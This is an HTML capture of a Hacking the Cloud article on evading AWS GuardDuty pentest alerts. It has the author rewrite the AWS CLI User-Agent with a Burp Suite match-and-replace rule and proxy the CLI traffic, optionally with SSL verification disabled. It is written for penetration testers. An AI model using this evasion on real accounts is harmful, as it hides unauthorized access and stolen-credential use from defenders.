class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/ class=md-nav__link> <span class=md-ellipsis> Exploiting Public AWS Resources Programmatically - The Playbook </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4 checked> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=true> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> <span class="md-nav__icon md-icon"></span> </label> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#burp-suite-setup-and-usage class=md-nav__link> <span class=md-ellipsis> Burp Suite Setup and Usage </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=../guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#burp-suite-setup-and-usage class=md-nav__link> <span class=md-ellipsis> Burp Suite Setup and Usage </span> </a> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Nick Frichette</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/avoiding-detection/guardduty-pentest.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1 id=bypass-guardduty-pentest-findings-for-the-aws-cli>Bypass GuardDuty Pentest Findings for the AWS CLI<a class=headerlink href=#bypass-guardduty-pentest-findings-for-the-aws-cli title="Permanent link">&para;</a></h1> <div class="admonition success"> <p class=admonition-title>Thank You</p> <p>Thank you to <a href=https://x.com/itsyobroda>@yobroda</a> for notifying me that the previous method in this article was outdated and suggesting a more reliable, long-term solution.</p> </div> <p>As a cloud Penetration Tester or Red Teamer, we need to be aware of what artifacts we leave behind in the logs that we touch. One easy to overlook clue is the User-Agent value passed in AWS API requests. When using the AWS <a href=https://aws.amazon.com/cli/ >CLI</a> or <a href=https://aws.amazon.com/tools/ >SDK</a> to interact with AWS services, the User-Agent string is passed in the headers of the HTTP request. This string can be used to identify the tool or library making the request.</p> <p>This can give away the operating system you are using and may raises suspicion from defenders. For example, say you steal credentials from a developer workstation running MacOS and suddenly start making requests from a Windows machine. This suspicious activity could be noticed by automation and an alarm could be raised.</p> <p>This is where AWS <a href=https://aws.amazon.com/guardduty/ >GuardDuty</a> comes in. GuardDuty is a threat detection service that continuously monitors for malicious activity and unauthorized behavior to protect your AWS accounts and workloads. GuardDuty takes this idea a step further and has built-in detections for common penetration testing Linux distributions like Kali Linux, ParrotOS, and Pentoo Linux. If you make AWS API requests from one of these distributions, GuardDuty will trigger a <a href=https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#pentest-iam-kalilinux>PenTest Finding</a>.</p> <p>As you can imagine, this is not ideal. The good news is that the User-Agent string is entirely within our control. While this value is unfortunately something we cannot <a href=https://github.com/aws/aws-cli/issues/3990>natively</a> configure with the AWS CLI, we can use external tooling to intercept our requests and modify them. In this article, we will explain how we can modify our User-Agent string when using the AWS CLI to avoid triggering GuardDuty alerts.</p> <div class="admonition note"> <p class=admonition-title>Note</p> <p>In the following example we will use Burp Suite because it is freely available and commonly used. If you have an alternative suggestion, please open a pull request to add it.</p> </div> <h2 id=burp-suite-setup-and-usage>Burp Suite Setup and Usage<a class=headerlink href=#burp-suite-setup-and-usage title="Permanent link">&para;</a></h2> <p>To begin, <a href=https://portswigger.net/burp/communitydownload>download</a> and install Burp Suite Community Edition. With it running, navigate to the Proxy tab and click <code>Proxy settings</code>.</p> <p>Next, scroll to <code>HTTP match and replace rules</code>:</p> <figure> <p><a class=glightbox href=../../../images/aws/avoiding-detection/guardduty-pentest/match-and-replace.png data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt="HTTP match and replace rules" loading=lazy src=../../../images/aws/avoiding-detection/guardduty-pentest/match-and-replace.png></a></p> </figure> <p>From here, click <code>Add</code> and enter the following values:</p> <ul> <li>Type: <code>Request header</code></li> <li>Match: <code>^User-Agent.*$</code></li> <li>Regex match: Should be checked</li> <li>Replace: This can be any string of your choosing. Ensure you preprend <code>User-Agent:</code> to the beginning of the string. For a list of potential User-Agent values, you can refer to this list from <a href=https://github.com/RhinoSecurityLabs/pacu/blob/master/pacu/user_agents.txt>Pacu</a>.</li> </ul> <p>Click <code>Test</code> to see an example of what your change would look like.</p> <figure> <p><a class=glightbox href=../../../images/aws/avoiding-detection/guardduty-pentest/add-new-rule.png data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt="New match and replace rule" loading=lazy src=../../../images/aws/avoiding-detection/guardduty-pentest/add-new-rule.png></a></p> </figure> <p>To finish, click <code>OK</code>. To ensure your new rule is enabled, scroll to the bottom of your match and replace rules.</p> <p>Next, we need to configure our AWS CLI to use Burp Suite as a proxy. This can be done by setting the <code>HTTP_PROXY</code> and <code>HTTPS_PROXY</code> environment variables. For example:</p> <div class=highlight><pre><span></span><code><span class=nb>export</span><span class=w> </span><span class=nv>HTTPS_PROXY</span><span class=o>=</span>http://127.0.0.1:8080
 <span class=nb>export</span><span class=w> </span><span class=nv>HTTP_PROXY</span><span class=o>=</span>http://127.0.0.1:8080
 </code></pre></div> <p>With this setup, all of your AWS CLI requests will be routed to Burp Suite, however you will likely encounter the following error:</p> <div class=highlight><pre><span></span><code>SSL validation failed for https://sts.us-east-1.amazonaws.com/ [SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: self signed certificate in certificate chain (_ssl.c:1129)
 </code></pre></div> <p>This is because Burp Suite uses a self-signed certificate. There are multiple options to resolve this issue and I will defer to your professional discretion on which to use. You could, for example, <a href=https://frichetten.com/blog/intercept-linux-cli-tool-traffic/ >add</a> the self-signed certificate to your trusted certificates. Alternatively you could disable SSL verification with the AWS CLI using the <code>--no-verify-ssl</code> flag.</p> <p>Regardless of the method you choose, after making a request to the AWS API you should see the User-Agent string you configured appear in the associated CloudTrail logs.</p> <figure> <p><a class=glightbox href=../../../images/aws/avoiding-detection/guardduty-pentest/example-cloudtrail-log.png data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt="User-Agent string in CloudTrail logs" loading=lazy src=../../../images/aws/avoiding-detection/guardduty-pentest/example-cloudtrail-log.png></a></p> </figure> <p>With all of this in place, you can now make requests to the AWS API using the CLI without triggering GuardDuty alerts.</p> <aside class=md-source-file> <span class=md-source-file__fact> <span class=md-icon title="Last update"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M21 13.1c-.1 0-.3.1-.4.2l-1 1 2.1 2.1 1-1c.2-.2.2-.6 0-.8l-1.3-1.3c-.1-.1-.2-.2-.4-.2m-1.9 1.8-6.1 6V23h2.1l6.1-6.1zM12.5 7v5.2l4 2.4-1 1L11 13V7zM11 21.9c-5.1-.5-9-4.8-9-9.9C2 6.5 6.5 2 12 2c5.3 0 9.6 4.1 10 9.3-.3-.1-.6-.2-1-.2s-.7.1-1 .2C19.6 7.2 16.2 4 12 4c-4.4 0-8 3.6-8 8 0 4.1 3.1 7.5 7.1 7.9l-.1.2z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">November 12, 2024</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Created> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M14.47 15.08 11 13V7h1.5v5.25l3.08 1.83c-.41.28-.79.62-1.11 1m-1.39 4.84c-.36.05-.71.08-1.08.08-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8c0 .37-.03.72-.08 1.08.69.1 1.33.32 1.92.64.1-.56.16-1.13.16-1.72 0-5.5-4.5-10-10-10S2 6.5 2 12s4.47 10 10 10c.59 0 1.16-.06 1.72-.16-.32-.59-.54-1.23-.64-1.92M18 15v3h-3v2h3v3h2v-3h3v-2h-3v-3z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">July 22, 2020</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Contributors> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 2A10 10 0 0 0 2 12c0 4.42 2.87 8.17 6.84 9.5.5.08.66-.23.66-.5v-1.69c-2.77.6-3.36-1.34-3.36-1.34-.46-1.16-1.11-1.47-1.11-1.47-.91-.62.07-.6.07-.6 1 .07 1.53 1.03 1.53 1.03.87 1.52 2.34 1.07 2.91.83.09-.65.35-1.09.63-1.34-2.22-.25-4.55-1.11-4.55-4.92 0-1.11.38-2 1.03-2.71-.1-.25-.45-1.29.1-2.64 0 0 .84-.27 2.75 1.02.79-.22 1.65-.33 2.5-.33s1.71.11 2.5.33c1.91-1.29 2.75-1.02 2.75-1.02.55 1.35.2 2.39.1 2.64.65.71 1.03 1.6 1.03 2.71 0 3.82-2.34 4.66-4.57 4.91.36.31.69.92.69 1.85V21c0 .27.16.59.67.5C19.14 20.16 22 16.42 22 12A10 10 0 0 0 12 2"/></svg> </span> <span>GitHub</span> <nav> <a href=https://github.com/Frichetten class=md-author title=@Frichetten> <img src="https://avatars.githubusercontent.com/u/10386884?v=4&size=72" alt=Frichetten> </a> <a href=https://github.com/web-flow class=md-author title=@web-flow> <img src="https://avatars.githubusercontent.com/u/19864447?v=4&size=72" alt=web-flow> </a> <a href=https://github.com/m4wk class=md-author title=@m4wk> <img src="https://avatars.githubusercontent.com/u/23012774?v=4&size=72" alt=m4wk> </a> <a href=https://github.com/peevees class=md-author title=@peevees> <img src="https://avatars.githubusercontent.com/u/13975214?v=4&size=72" alt=peevees> </a> </nav> </span> </aside> </article> </div> <script>var target=document.getElementById(location.hash.slice(1));target&&target.name&&(target.checked=target.name.startsWith("__tabbed_"))</script> </div> </main> <footer class=md-footer> <div class="md-footer-meta md-typeset"> <div class="md-footer-meta__inner md-grid"> <div class=md-copyright> Made with <a href=https://squidfunk.github.io/mkdocs-material/ target=_blank rel=noopener> Material for MkDocs Insiders </a> </div> <div class=md-social> <a href=https://infosec.exchange/@hackingthecloud target=_blank rel="noopener me" title=infosec.exchange class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M433 179.11c0-97.2-63.71-125.7-63.71-125.7-62.52-28.7-228.56-28.4-290.48 0 0 0-63.72 28.5-63.72 125.7 0 115.7-6.6 259.4 105.63 289.1 40.51 10.7 75.32 13 103.33 11.4 50.81-2.8 79.32-18.1 79.32-18.1l-1.7-36.9s-36.31 11.4-77.12 10.1c-40.41-1.4-83-4.4-89.63-54a102.5 102.5 0 0 1-.9-13.9c85.63 20.9 158.65 9.1 178.75 6.7 56.12-6.7 105-41.3 111.23-72.9 9.8-49.8 9-121.5 9-121.5m-75.12 125.2h-46.63v-114.2c0-49.7-64-51.6-64 6.9v62.5h-46.33V197c0-58.5-64-56.6-64-6.9v114.2H90.19c0-122.1-5.2-147.9 18.41-175 25.9-28.9 79.82-30.8 103.83 6.1l11.6 19.5 11.6-19.5c24.11-37.1 78.12-34.8 103.83-6.1 23.71 27.3 18.4 53 18.4 175z"/></svg> </a> <a href=https://bsky.app/profile/hackingthe.cloud target=_blank rel=noopener title=bsky.app class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </a> <a href=https://x.com/HackingthCloud target=_blank rel=noopener title=x.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M459.37 151.716c.325 4.548.325 9.097.325 13.645 0 138.72-105.583 298.558-298.558 298.558-59.452 0-114.68-17.219-161.137-47.106 8.447.974 16.568 1.299 25.34 1.299 49.055 0 94.213-16.568 130.274-44.832-46.132-.975-84.792-31.188-98.112-72.772 6.498.974 12.995 1.624 19.818 1.624 9.421 0 18.843-1.3 27.614-3.573-48.081-9.747-84.143-51.98-84.143-102.985v-1.299c13.969 7.797 30.214 12.67 47.431 13.319-28.264-18.843-46.781-51.005-46.781-87.391 0-19.492 5.197-37.36 14.294-52.954 51.655 63.675 129.3 105.258 216.365 109.807-1.624-7.797-2.599-15.918-2.599-24.04 0-57.828 46.782-104.934 104.934-104.934 30.213 0 57.502 12.67 76.67 33.137 23.715-4.548 46.456-13.32 66.599-25.34-7.798 24.366-24.366 44.833-46.132 57.827 21.117-2.273 41.584-8.122 60.426-16.243-14.292 20.791-32.161 39.308-52.628 54.253"/></svg> </a> <a href=https://www.linkedin.com/company/hacking-the-cloud/ target=_blank rel=noopener title=www.linkedin.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M416 32H31.9C14.3 32 0 46.5 0 64.3v383.4C0 465.5 14.3 480 31.9 480H416c17.6 0 32-14.5 32-32.3V64.3c0-17.8-14.4-32.3-32-32.3M135.4 416H69V202.2h66.5V416zm-33.2-243c-21.3 0-38.5-17.3-38.5-38.5S80.9 96 102.2 96c21.2 0 38.5 17.3 38.5 38.5 0 21.3-17.2 38.5-38.5 38.5m282.1 243h-66.4V312c0-24.8-.5-56.7-34.5-56.7-34.6 0-39.9 27-39.9 54.9V416h-66.4V202.2h63.7v29.2h.9c8.9-16.8 30.6-34.5 62.9-34.5 67.2 0 79.7 44.3 79.7 101.9z"/></svg> </a> <a href=https://github.com/Hacking-the-Cloud target=_blank rel=noopener title=github.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 